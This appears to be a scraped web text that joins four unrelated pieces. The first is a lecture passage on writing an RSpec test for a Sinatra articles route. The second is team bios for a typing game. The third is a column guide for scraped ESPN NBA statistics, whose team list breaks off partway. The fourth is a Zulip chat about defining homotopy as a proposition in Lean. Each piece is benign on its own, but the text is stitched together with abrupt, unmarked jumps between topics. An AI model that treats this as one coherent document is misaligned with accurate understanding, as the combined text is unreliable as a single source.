Now I add the 'it' block, with a useful description of what the thing under test will do. Like "it 'responds with success'" or something. When this test runs, it responds successfully if everything is going well. I'll add that below, but let's thing about what we're testing here.
In the "Arrange, Act, Assert" parlance we use, I often start with the Assert part. I think "what am I asserting/expecting here?" "I want a blog page. When I hit a specific route, that route should exist and respond with something." For my purposes now, I don't really care about what that something is.
How can we translate my answer ("When I hit a specific route, that route should exist and respond with something.") into rspec? I expect that when I hit a route, it responds with some sort of "that route exists!". On the internet, the "that route exists!" part is a status of 200.
require 'spec_helper'
describe "articles controller" do
describe "GET /articles" do
it "responds with success" do
# I expect that when I hit a route, it responds with "that route exists!"
expect(last_response.status).to eq(200)
end
end
end
I'm trying to get at the steps I'm taking mentally to write a test. Knowing what to test comes out of asking "what do I want?" I want it to respond with "Yay, it worked!" Ok, I have this expectation, but what is the thing that will respond with "Yay, it worked!"? That is, what action do I have to perform to receive what I expect? That's listed in our second describe block. "GET /articles". Having that answer lets us finish the test:
require 'spec_helper'
describe "articles controller" do
describe "GET /articles" do
it "responds with success" do
get "/articles"
# I expect that when I hit a route, it responds with "that route exists!"
expect(last_response.status).to eq(200)
end
end
end
Is that useful at all? These are the steps I take to write tests all the time. What do I want? Ok, let's write an expectation that fulfills that. Is there anything I need to arrange for that expectation to fulfill my expectation (do I need to build a world for that expectation to be valid)?
The standard unhelpful answer to the question "what do I test?" is "test everything that could possibly break." That's not great. Something that might be better is "test every method/route, then test the branches in that method/route." By branches, it means if there's an if/else, write a test for the if branch, and write a test for the else branch of the flow.
You should test for things such as:
was the web request successful?
was the user redirected to the right page?
was the user successfully authenticated?
was the correct object stored in the response template?
was the appropriate message displayed to the user in the view?
"was the correct object stored in the response template?" isn't applicable to Sinatra and the wording of "was the appropriate message displayed to the user in the view?" is terrible (I believe what they actually mean is testing that a message is being stored in a session). But they're making an attempt at concisely saying what I've tried to get across in my past couple lectures and today's challenge.
You can look at the rails testing guide here: http://guides.rubyonrails.org/testing.html but be warned it doesn't use rspec and adds a whole bunch of extra rails stuff.


Web Dev Rush is a typing simulation game to test your typings skills.
Our MembersI am a Front-End Web Developer with a passion for design and innovative problem-solving. My impatient optimism has resulted in my passion for lifelong learning and designing sites that are both functional and aesthetically pleasing. My previous experience in leadership and management has fostered skills in communication as well as an ability to function under short time constraints while working as a team.
I am a full-stack web developer that loves to work with computers and how they work and what makes them work. I am very interested in games and development of games and apps. I like to work on odd projects just to learn more about the field i want to enter.
Experienced Python Developer with a demonstrated history of working in the computer software industry. Skilled in Python, SQL, , Mysql Database, and C. Strong engineering professional with a Master's degree focused in Computer Science from University of Central Missouri.
Hi I'm Azamat, I'm fascinated by many of the ever evolving areas where tech meets business. With an entrepreneurial mindset, I like putting my leadership experience and technical knowledge to good use. I'm a life long learner, always looking for new problems to solve and happy to share what I've figured out so far. Feel free to reach out!
I’m a Web Developer with a background in music, digital art, and education. As a programmer I utilize my creative skills to write code that forms web applications with aesthetic design and exacting functionality.


Below is the dataset description for any scraped data from the ESPN NBA website. For reference, please refer to the ESPN NBA Regular Season 2018/19 website and check out the available data.
This guide will provide some guide to users on the available column formats that can be used with the following rsketball
functions:
Below is a list of available columns in the scraped data using nba_scraper()
. The column names have been kept the same as what is found in the tabular data in the ESPN NBA Regular Season website, and are fully capitalised in its abbreviations.
NAME: Player names
TEAM: NBA Team names that the player belongs to
POS: Player position type
GP: Games played
MIN: Minutes per game
PTS: Points per game
FGM: Field goals made per game
FGA: Field goals attempts per game
FG%: Field goals percentage success rate
3PM: Three pointers made per game
3PA: Three pointers attempts per game
3P%: Three pointers percentage success rate
FTM: Free throws made per game
FTA: Free throws attempts per game
REB: Rebounds per game
AST: Assists per game
STL: Steals per game
BLK: Blocks per game
TO: Turnovers per game
DD: Accumulated Double Doubles per season. A Double Double is when a player achieves double digits in 2 main metrics (such as Points, Assists, Rebounds, Steals) in a single game.
TD3: Accumulated Triple Doubles per season. A Triple Double is when a player achieves double digits in 3 main metrics (such as Points, Assists, Rebounds, Steals) in a single game.
PER: Player Efficiency Rating. Composite metrics based on a formula to calculate the efficiency of a player in both offensive and defensive skillsets.
Player positions that can be used as a categorical basis for analysis.
PG: Point Guard
SG: Shooting Guard
G: Guard. Typically players who play either PG or SG.
SF: Small Forward.
PF: Power Forward.
C: Center
Here are the list of teams and their abbrievations used in the ESPN NBA dataset. This list is based on the recent teams in the ESPN NBA and may not account for teams in the past that have been dropped out of the league (such as Seattle Super Sonics, Vancouver Grizzlies).
ATL: Atlanta Hawks
BKN: Brooklyn Nets
BOS: Boston Celtics
CHA: Charlotte Bobcats
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--- layout: archive title: Zulip Chat Archive permalink: /stream/116395-maths/topic/is_homotopic_to.html ---
I just saw this in @Luca Gerolla 's code.
definition is_homotopic_to { x y : β } (f : path x y) ( g : path x y) : Prop := nonempty ( path_homotopy f g)
I feel like is_homotopic_to
is an important concept and it sounds like a prop to me, but of course there might well be many homotopies between f and g. Is Luca unwise to use nonempty
or is this exactly what he wants? I still feel very unsure about this kind of thing. Given an explicit homotopy from f to g and an explicit homotopy from g to h he will surely want an explicit homotopy from f to h, and of course he proves this, but...I think what I'm saying is that I am confused about both wanting a proposition and wanting to keep track of the homotopy at the same time.
You need both, I think. And here we do have both, since we also have path_homotopy
itself.
What you don't want to do is define is_homotopic_to
without path_homotopy
I think you will want a quotient type over the is_homotopic_to relation
so the homotopy itself won't be in the structure
So you think this is the appropriate way to define the equivalence relation that I will define the quotient on? When needed to get an actual path_homotopy f g
from H : is_homotopic_to f g
I use cases
; while to show (for example) is_homotopic_to f g
I construct an actual F : path_homotopy f g
and feed this with nonempty.intro
. Would this be a good way to manage the homotopy binary relation? At first, I just felt I was loosing some information with nonempty
in later proofs.
I think Kevin wants a trunc
instead of a nonempty
but this will be to HoTT-like
To take a quotient you need a Prop
Consider the way cardinal
is defined - it is a quotient over the relation nonempty (A ≃ B)
I see.. thank you! I will stick to nonempty
Last updated: Apr 24 2020 at 19:02 UTC